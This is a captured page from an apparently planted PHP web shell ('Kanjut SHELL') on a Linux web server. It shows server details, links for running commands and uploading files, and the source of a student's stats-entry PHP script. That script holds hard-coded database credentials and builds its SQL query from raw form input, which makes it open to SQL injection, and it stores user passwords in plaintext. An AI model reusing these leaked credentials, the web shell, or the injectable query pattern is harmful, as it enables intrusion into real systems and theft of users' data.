Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.172.189
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wmeckard/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wmeckard/public_html/enterStats.php
<?php
	$name = $_POST['name'];
	$password = $_POST['password'];
	$country = $_POST['country'];
	$pointsFor = $_POST['pointsFor'];
	$pointsAgainst = $_POST['pointsAgainst'];
	$pointDiff = $pointsFor - $pointsAgainst;
	$games = $_POST['games'];
	$avgPPG = $pointsFor/$games;
	$defTouch = $_POST['defTouch'];
	$softTouch = $_POST['softTouch'];
	$ace = $_POST['ace'];
	$win = $_POST['win'];
	$loss = $_POST['loss'];
	if($loss==0)
		$ratio = $win;
	else
		$ratio = $win/$loss;
	
	$host = 'localhost';
	$user = 'wmeckard';
	$passwd = 'CS389';
	$database = 'wmeckard';
	$connect = mysqli_connect($host, $user, $passwd);
	$query = "insert into SPIKE values ('$name', '$country', $pointsFor, $pointsAgainst, $pointDiff, $games, $avgPPG, $defTouch, $softTouch, $ace, $win, $loss, $ratio, '$password')";
	
	mysqli_select_db($connect, $database);
	if(mysqli_query($connect, $query)){
		print "<CENTER><P><big><big>Congrats! Your stats have been added.</big></big><P><P>";
		print "<A HREF=spikeStats.html>Return to home.</A>";
		}	
	else
		print "<P>Insert fail.<P>";
	mysqli_close($connect);
?>

Stv3n404 - 2023